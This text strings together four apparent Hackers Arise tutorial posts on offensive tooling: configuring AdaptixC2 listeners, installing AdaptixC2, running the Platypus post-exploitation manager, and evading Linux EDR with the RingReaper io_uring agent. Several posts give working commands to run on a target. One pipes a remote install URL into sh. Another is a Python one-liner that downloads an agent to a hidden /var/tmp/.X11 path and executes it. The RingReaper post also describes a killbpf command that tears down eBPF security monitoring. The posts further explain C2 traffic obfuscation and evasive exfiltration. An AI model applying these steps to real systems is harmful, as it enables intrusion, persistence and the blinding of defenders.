Welcome back, aspiring cyberwarriors!

This is the second article in our AdaptixC2 series. Last time, we talked about how to install and set things up. Now, we’re going to dig into listeners. A listener is part of the C2 framework that waits for compromised hosts to connect back and handles the ongoing chat. Making listeners can be tricky, and there’s no one-size-fits-all solution, so red teamers need to understand which protocol to use and when to outsmart modern defenses. Therefore, in this article, we’ll cover how to create listeners in AdaptixC2 and the types available. Let’s get rolling!

Generating and Configuring Listeners

To access Listeners, click the Adaptix tab with the headset icon.

Once you’re in the Listeners tab, right-click on the console pane and choose “Create.” You’ll see a window pop up like this:

These listeners are important; without them, nothing happens. They’re the first step in what you want to accomplish in a red team engagement. Here’s a quick rundown of what each part does:

Name is just a label for your listener.

Profile lets you pick or save a settings profile, so you don’t have to input everything from scratch each time.

Protocol tells you how your listener connects, and it’s set to “any” for now, but common options include stuff like HTTP, DNS, SMB, and TCP. This is how the agents, or “beacons,” communicate with the C2 server.

Config is where you choose the type of listener module. If you see “BeaconDNS,” that means it’ll use DNS for the beacon traffic. Adaptix also offers other types like Beacon HTTP, Beacon SMB, Beacon TCP, and Gopher TCP.

Host & Port (Bind) lets you set the IP address and port the listener binds to on the C2 server. It’s usually set to 0.0.0.0 by default, but you can select a specific network adapter.

Authoritative Domain(s) refers to the domain names your server is the boss of. Compromised hosts, or beacons, will send DNS queries for subdomains under this domain, and since the C2 server is the main nameserver, those queries will point to it.

Max Payload (bytes) indicates the biggest chunk of data you can cram into a single DNS request or response.

DNS TTL (seconds) sets how long DNS responses hang around in caches, telling them how long to remember the answer.

Encryption Key is used to encrypt the beacon’s traffic or payload.

Enable Burst Mode turns on a feature where the beacon sends multiple quick queries in bursts instead of one by one, which can speed up data exfiltration.

Burst Sleep (ms) is how long the beacon pauses between queries in a burst.

Burst Jitter (%) adds randomness to the wait time between queries, so the traffic doesn’t look too regular and helps avoid timing-based detection.

Once you fill in all those fields, click Create.

Let’s move on to the more popular listener, the HTTP listener. It has way more attributes than the others. It looks like the one below.

In the main settings, we’ve got some new options to play with:

Callback addresses are the external IPs or domains (with ports) embedded in the beacon payload, letting compromised hosts know where to connect back. This can be different from the bind address, especially if you’re using a redirector. Redirectors are handy, and Adaptix lets you put in multiple combinations of IPs and ports. When a compromised host tries to connect, it first goes to the redirector, which checks if it’s allowed to access the C2 server. For more on redirectors, check out Major Smouk’s article.

For demo purposes, since we’re not using redirectors for now, we can just put in our own host’s IP in that field.

Method allows you to choose the HTTP method (GET/POST) that beacons will use to send requests/check-ins to the server.

URIs is where you list URL paths that the beacon will randomly choose from when making requests, like /api/v1/status or /updates/check.php.

User-Agents lets the beacon rotate through different browser User-Agent strings in its HTTP headers.

Heartbeat Header is a custom HTTP header (like X-Beacon-Id) that carries the beacon’s identifier/session token during each check-in, helping the server identify which compromised host is reaching out.

Use SSL (HTTPS) is a toggle for whether the listener wraps traffic in TLS. If you turn it on, you can either provide your own certificate/key (like simulating a real site’s cert) or let Adaptix automatically generate a self-signed one.

We also have some extra tabs with settings:

HTTP Headers lets you add custom request/response headers to mimic legitimate traffic further or hide data.

Page Error configures what the server shows to regular visitors or scanners that hit the listener.

Page Payload lets you set up a legit-looking webpage/response for certain paths, which is often used to host the stager/payload for initial access or make the server look like a harmless website.

That sums up what we need to set up HTTP listeners. Now, let’s dive into BeaconSMB!

In this section, we need to focus on the pipe name. The pipe name is simply what the Windows named pipe will be called. The listener sets it up and waits for connections. A named pipe on Windows acts as a communication channel. It’s named something like \\.\pipe\somename. When a compromised host wants to connect, the SMB beacon reaches out to this pipe by name to create the C2 channel. That wraps up our talk about Beacon SMB.

Now, let’s move on to Beacon TCP.

The screenshot above shows how to set up a BeaconTCP listener, which is straightforward and requires only three fields.

First is the bind port, the TCP port the listener opens on the compromised host to act as the relay.

Next, there’s the prepend data. This is a set of bytes like \x12\xab that gets added to the start of every TCP communication. This trick is all about traffic obfuscation. By starting with a specific byte pattern, the TCP stream looks less like your typical C2 traffic. It can mimic the handshake or header of a known protocol, making it harder for network monitoring tools to flag the beacon as suspicious.

Lastly, the encryption key works the same way as it does with the other listeners.

And finally, don’t forget about the Gopher TCP listener.

We’ve already checked out a lot of options before, but here’s what’s new for us:

The TCP banner is just some text sent out to anything connecting to the port before the beacon handshake goes down. It currently says “AdaptixC2 server,” but in a real scenario, you’d want to swap it for something more innocuous or something that resembles a legit service.

The error answer is what gets sent back if a connection fails or is rejected.

The big one here is adding mTLS. That stands for mutual TLS, which means both the server and the connecting beacon prove who they are to each other using certificates, not just the server showing its identity like in regular TLS. This is a major security boost because only beacons with the right client certificate can connect to the listener. So, even if someone figures out the C2 address and port, they can’t interact or pretend to be a beacon without that certificate. The setup includes fields for the CA cert, server key, server cert, client key, and client cert to enable mutual authentication.

After setting up all the different listeners, we’ll see the following picture.

We need to recognize two types of listeners: internal and external. An external listener connects to the public internet and is what the first hacked device calls back to, going through the firewall. It usually uses protocols like HTTP, HTTPS, or DNS because those are often allowed out and blend in with regular traffic. Sometimes, it’s even hidden behind a redirector or CDN to mask the actual control server’s IP address.

On the flip side, an internal listener is what you use once you’re already in the network. It helps with moving sideways between compromised devices that usually don’t have internet access. This one relies on LAN-only protocols, like SMB named pipes or raw TCP, allowing beacons to communicate and send traffic back through the first hacked device to the external listener.

Summary

In this article, we dove into how to set up listeners in AdaptixC2. We went through all the different types of listeners and their configuration options so you can jump right into using Adaptix after checking this out.

Keep an eye out for our upcoming articles as we continue exploring command and control frameworks. If you found this information helpful, you might want to check out our Hacking Infrastructure course. Also, consider joining our community by signing up for Subscriber PRO.

The post Adaptix C2 Architecture: Configuring Command & Control Listeners first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

One of the challenges during a pentest is keeping everything organized. A small assessment with just a few machines is usually easy to manage, but enterprise environments are a completely different story. You can easily end up working with dozens or even hundreds of Linux and Windows systems, each with different services, users, applications, and configurations.

As pentesters, we often spend a lot of time performing security checks and audits, looking for configs, finding credentials, cloud access tokens and more. All that information is spread across many different hosts and it’s easy to lose track of what’s already been checked and what still needs to be looked at. Managing dozens of SSH sessions or reverse shells gets frustrating fast.

You can use Platypus to solve this issue. It’s a centralized host management platform that makes it a lot easier to work with multiple systems from a single interface.

Let’s see how it works.

What is Platypus

Platypus is an open source host management platform built to help you manage large numbers of Linux, Windows and macOS machines from a web interface.  The platform works by starting an agent on every machine you want to manage. Once started, the agent connects back to your Platypus server using encrypted TLS communications and Protocol Buffers (protobuf).

From the web interface you can launch interactive shells, look at the file system, upload and download files, run security audits and much more. You can install Platypus on a VPS and manage machines over the internet or host it entirely inside a local network

Setting Up

The easiest way to install Platypus is with Docker.

kali > git clone https://github.com/WangYihang/Platypus.git
kali > cd Platypus

Before starting the containers, there’s one important configuration change to make.

Open docker-compose.yml with a text editor. By default it has localhost. Since our agents will be connecting from other hosts, replace localhost with the IP address of the machine running Platypus. If you’re deploying on a VPS, replace it with the public IP instead.

That’s the only configuration change needed for a basic installation. Once you’ve saved the file, launch the platform.

kali > docker-compose up -d

After everything finishes, the web interface is available. We had ours on https://192.168.131.7:9443. That’s the same address you should include in the set up process when you access it on the web.

During the initial setup, Platypus will also ask you to create the first administrator account. To prevent unauthorized access, you’ll need to provide the Bootstrap Secret generated during installation

kali > docker cp platypus-platypus-server-1:/app/data/bootstrap.secret .
kali > cat bootstrap.secret

Copy and paste it.

Working with GUI

Each pentest can have its own project. You can also organize by department or environment, prod and dev for example.

Open the project and scroll down to the Open Hosts section. This is where all enrolled machines will appear. The next step is generating an agent to deploy onto your target systems.

The platform supports Linux, Windows and macOS

Creating Agents

When you create an agent, you can choose what to include based on your needs. We selected the Full package, since it has the largest collection of features and plugins.

Once you’ve configured the agent, Platypus generates a unique installation link you can run on the target machine.

Keep in mind that it doesn’t permanently install itself like traditional management software. The agent runs as a process after being launched. By default, every installation URL contains a unique enrollment token valid for a single installation, which helps prevent unauthorized reuse if the link gets out.

To launch the agent on the target machine, use Tmux so the process keeps running even if your SSH session drops.

ubuntu > curl -fsSL --tlsv1.2 -k https://192.168.131.7:9443/api/v1/install/dl_7dm5amwjjirrqv35biem.ib3sxs64fug543w32oxe?download_tls=insecure | sh > /dev/null

After a few moments, assuming the machine can reach your Platypus server, the new host will show up in the dashboard with basic system information.

Working with Hosts

One of the first features you’ll use is the interactive shell. Since we went with the Full package, shell was included by default.

Another useful feature is the file browser.

Then we have auditing. Platypus scans the file system looking for valuable configs and sensitive information. All systems are different, but that can include database credentials, API keys, SSH keys, cloud configs and more.

The platform also includes various security checks. These aren’t meant to replace a full security assessment, but they come in handy.

Plugins

Plugins collect information about firewall rules, journald logs, scheduled cron jobs, active network connections and many other parts of the OS.

Summary

Managing large numbers of machines during a pentest can quickly become overwhelming. Valuable information ends up scattered across multiple hosts, so it takes time to track your findings. Platypus keeps all your systems together and cuts down on a lot of the repetitive work in post exploitation.

If you’re interested in red teaming and want to build the skills required to be a pentester, we offer our Red Team Operator training program.

The post Pentesting: Managing Compromised Machines with Platypus first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

At Hackers-Arise, we’ve previously examined various command and control frameworks, including Havoc and Sliver. The market is filled with numerous options, each presenting its unique advantages and drawbacks. And while news about another C2 may not typically raise eyebrows among cyberwarriors, AdaptixC2 stands out as an exception worth attention.

In this article, we’ll delve into the features of AdaptixC2 and guide you through the installation and initial configuration process on Kali Linux. Let’s get rolling!

AdaptixC2 – Overview

AdaptixC2 is a red teaming tool designed for adversarial actions, offering a wide range of customization options. If a cyberwarrior were to utilize this tool, they would gain extensive control over the affected machines. This control allows them to manipulate the file system, manage directories, and create, modify, or delete files and folders at will. Moreover, they can enumerate running processes, terminate specific applications, and launch new programs. Such capabilities allow threat actors to establish a foothold within the environment, delve deeper into the compromised system, and maneuver laterally across the network.

To facilitate covert communication and bypass network restrictions, the framework contains tunneling features, including SOCKS4/5 proxy functionality and port forwarding. These options enable cyberwarriors to maintain communication channels even in heavily secured environments.

AdaptixC2 is inherently modular, leveraging “extenders” that act as plugins for both listeners and agents. This modular design allows hackers to create customized payloads and detection-evasion techniques tailored to their target systems. Additionally, it supports Beacon Object Files (BOFs), which let attackers execute small, custom programs written in C directly within the agent’s process, helping to evade detection.

The beacon agents in AdaptixC2 come loaded with specialized commands for quick and discreet data transfer. They are compatible with both x86 and x64 architectures and can be produced in various formats such as standalone executables, dynamic-link libraries, service executables, and raw shellcode. With this framework, cyberwarriors can efficiently exfiltrate data from the compromised network by configuring chunk sizes during file downloads and uploads, making smaller segments appear less suspicious to network detection systems.

Installation

AdaptixC2 is published on GitHub, and we can easily install it with the following command:

kali> git clone https://github.com/Adaptix-Framework/AdaptixC2.git

When we visit the AdaptixC2 folder and list the content, we’ll see the output as below.

We’re interested in the pre_install_linux_all.sh script, which will install everything we need for the server and client parts.

kali> sudo bash ./pre_install_linux_all.sh server

The next step is running make:

kali> make server-ext

This will build the AdaptixC2 server and Go plugins (extenders). All compiled files will be located in the dist directory.

Lastly, we need to generate some SSL certificates.

kali> openssl req -x509 -nodes -newkey rsa:2048 -keyout server.rsa.key -out server.rsa.crt -days 3650

This command generates a self-signed SSL/TLS certificate along with its private key using OpenSSL.

Breaking down what happens: req -x509 tells OpenSSL to create a self-signed X.509 certificate rather than a certificate signing request. -nodes means the private key won’t be encrypted with a passphrase, so it can be used without prompting for a password each time. -newkey rsa:2048 generates a new 2048-bit RSA key pair at the same time. -keyout server.rsa.key specifies the file where the new private key will be saved, and -out server.rsa.crt specifies the file where the resulting certificate will be saved. Finally, -days 3650 sets the certificate’s validity period to 3650 days (10 years).

Since it doesn’t specify a -subj flag, OpenSSL will interactively prompt you for details like country when you run it, but we can just Tab and skip it all.

At this stage, we should have an SSL certificate and need to copy it to a dist directory:

kali> cp server.rsa.* ./dist

In the dist directory, we can also see a file called profile.yaml. It contains configuration for the AdaptixC2 server. This is different than what you normally expect from profiles such as Cobalt Strike or Nighthawk, which have everything tied together.

For this demonstration, I’ll leave everything at the default.

To start the AdaptixC2 server, run the following command:

kali> sudo ./adaptixserver -profile profile.yaml

That’s it; we’re ready to move into client configuration.

We need to begin with the pre_install script, but now run it for the client:

kali> sudo bash ./pre_install_linux_all.sh client

Lastly, what we need to do is make the client:

kali> make client

Getting Started

To get started, we just need to run the AdaptixC2 client binary:

kali> ./AdaptixClient

You’ll see a window like the one below.

In the profile.yaml we saw operator1 and operator2, but technically we can set up any username we want. But the default password is pass.

When everything is entered, we’re ready to click Connect. You’ll be greeted by the very clean UI.

From here, you can take a look at the tabs on the interface pane. In order of appearance from left to right, you have:

Notifications – View system and agent-related alerts.

Listeners & Sites – Here you can create, edit, and delete listeners.

Extension Docks – Manage and configure loaded extensions.

Session Table – List all connected agents with details like OS, user, computer, domain, sleep, and status.

Session Graph – Visual map of agent chains, lateral movement, and active tunnels.

Jobs & Tasks – View current and completed tasks assigned to agents.

Chat – Team chat for operator communication within the project.

Tunnels table – View current tunnels deployed by agents.

Downloads – View downloads from agents.

Targets table – Track and manage target hosts and networks.

Credentials – Store and manage harvested credentials (usernames, passwords, hashes, tickets, etc.).

Screens – View screenshots captured from agents.

The bottom pane is the agent console and acts very similarly to other GUI-based C2 clients such as Cobalt Strike.

Extension-Kit

So, the server is running, and the client is running. And the last step we need to do is to install Extension-Kit. This will add all the capabilities that will gonna make this tool worth using.

Installation is straightforward:

kali> git clone https://github.com/Adaptix-Framework/Extension-Kit.git

But besides the repository, we need to install the required utilities:

kali> apt install g++-mingw-w64-x86-64-posix gcc-mingw-w64-x86-64-posix mingw-w64-tools

Next, we need to run a make command:

kali> cd Extension-Kit

kali> make

During the installation, you’ll see a lot of BOFs, or Beacon Object Files. Basically, they’re small C programs that modularly fit into AdaptixC2 to give more functionality.

After running the make command, we need to open AdaptixC2 > Extensions > Script Manager. Then, right-click and select Open New. Load extension-kit.axs from the Extension-Kit directory.

At this point of time we’re ready to go. Next time, we will teach you how to operate and control the victim machine with your C2.

Summary

AdaptixC2 shows great promise, and I highly recommend giving it a try. It could become a valuable addition to your toolkit. By following the steps outlined in this article, you’ll set up a fully functional framework. Stay tuned for future articles where we will continue to delve into command and control frameworks.

If you found this information useful, you might also be interested in our Hacking Infrastructure course. Additionally, consider joining our community by becoming a Subscriber PRO.

The post AdaptixC2 — A Free Alternative to Cobalt Strike? first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Finding an EDR on a Linux machine is common when working with organizations that take cybersecurity seriously. While many associate EDR platforms with Windows, modern Linux deployments are often monitored as well. Evading an EDR is almost an art form. It requires a deep understanding of operating systems, system internals, and how security products actually collect telemetry. Most EDR products are designed around visibility. They monitor processes, file access, network connections, privilege escalation attempts, and many other activities that could indicate bad behavior. A simple example might be accessing sensitive files, attempting to connect to suspicious external infrastructure, or spawning unusual child processes. These actions generate events that security products can inspect and correlate.

Over the years, researchers have demonstrated many different methods for bypassing or reducing EDR visibility. Some techniques abuse trusted binaries. Others use kernel vulnerabilities or weaknesses in monitoring logic. Today, however, we are going to look at a different approach involving a Linux feature called io_uring. Using this technique, it becomes possible to perform reconnaissance, transfer files, establish C2 communications, and execute commands while generating significantly fewer events.

The technique we will discuss today was developed by MatheuZSecurity.

Bypassing EDR

Introduced in Linux kernel 5.1, io_uring was designed to improve the performance of I/O operations. Instead of repeatedly interacting with the kernel through traditional system calls, applications can place requests into a shared queue. The kernel processes those requests and returns the results. Applications can submit many operations at once rather than making separate calls for every read, write, file access, or network action. This becomes interesting from a security perspective because many EDR products monitor these activities. These events are often collected through hooks, audit frameworks or eBPF.

With io_uring, many operations can be submitted and handled through a different execution model. Instead of repeatedly calling functions, requests are processed through io_uring, generating fewer observable events.

This does not make activity invisible, it just reduces the visibility of EDR. But modern security products are trying to improve their ability to monitor io_uring now. However, because it can reduce traditional syscall visibility, it has become an area of growing interest for hackers.

Setting Up

To test the concept ourselves, we first need to set up the environment. Let’s download the project and install the required dependency.

kali > git clone https://github.com/MatheuZSecurity/RingReaper
kali > cd RingReaper
kali > sudo apt install liburing-dev -y

By default, Kali Linux does not include the required development library, so we need to install it before compiling the project.

After that, open the agent.c file and update the IP address to point to your Kali machine. This is the address the agent will connect back to once it is executed on the target system. That is the only modification required.

Once the IP address has been updated, compile the project and upload it to a temporary hosting service.

kali > gcc agent.c -o agent -luring -O2 -s -static
kali > curl -F "file=@agent" https://temp.sh/upload

After the upload completes, you will receive a URL that can be used to download the binary.

Connecting to C2

First we need to start our server.py on Kali. 

kali > python3 server.py --ip 192.168.131.7 --port 443

With the binary uploaded, we can move to the target machine. Replace the URL in the following command with the link generated during the upload process and execute it.

ubuntu > python3 -c "import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);"

The command downloads the executable, stores it locally, adjusts permissions, and launches it. If everything works correctly, the connection should appear immediately.

When operating inside a monitored environment, less activity usually means less risk. The less noise you generate, the less likely you are to attract attention.

Running Commands

Now we arrive at the interesting part. Once connected, start by running the help command to display the available functionality.

The command set is intentionally small, but it covers most of the tasks that you would typically need. For example, running the users command shows active sessions.

If necessary, individual sessions can be terminated using the kick command. The privesc command searches for SUID binaries that may be useful for privilege escalation. 

You can upload files to the target or retrieve files from the target machine. A common example would be reading .bash_history to see previously executed commands by local users.

Finally, the most interesting command is killbpf.

Many security tools including Falco, Sysdig, Elastic Defend, Tetragon, and many other monitoring platforms rely on eBPF to achieve deep kernel visibility. eBPF allows security products to observe process activity, system calls, network events, and many other behaviors without requiring traditional kernel modules.

The killbpf command attempts to disrupt this. It removes content from /sys/fs/bpf, which is the virtual filesystem commonly used to store pinned eBPF programs and maps. These maps act as shared data structures that allow eBPF programs and user-space applications to exchange information. When those components are removed or disrupted, security tools may lose visibility into system activity. In addition, the command attempts to identify and terminate processes actively interacting with eBPF maps.  Disrupting them can interfere with security monitoring.

Below you can see the tool working alongside TrendMicro. 

Summary

This agent shows how a legitimate Linux feature can be repurposed in unexpected ways. io_uring was created to improve performance and efficiency. Its purpose was never to bypass security products. However, as we have seen many times throughout cybersecurity history, legitimate technologies often become useful tools for hackers as well.

If you want to take your Linux knowledge to the next level, we offer Advanced Linux for Hackers training designed for both red and blue teams. The course will help you develop the advanced Linux skills needed for penetration testing, incident response, digital forensics, and other security tasks. Since many offensive and defensive techniques rely on a solid understanding of the operating system, these skills will let you troubleshoot complex environments.

The post Hacking: Linux EDR Evasion with io_uring first appeared on Hackers Arise.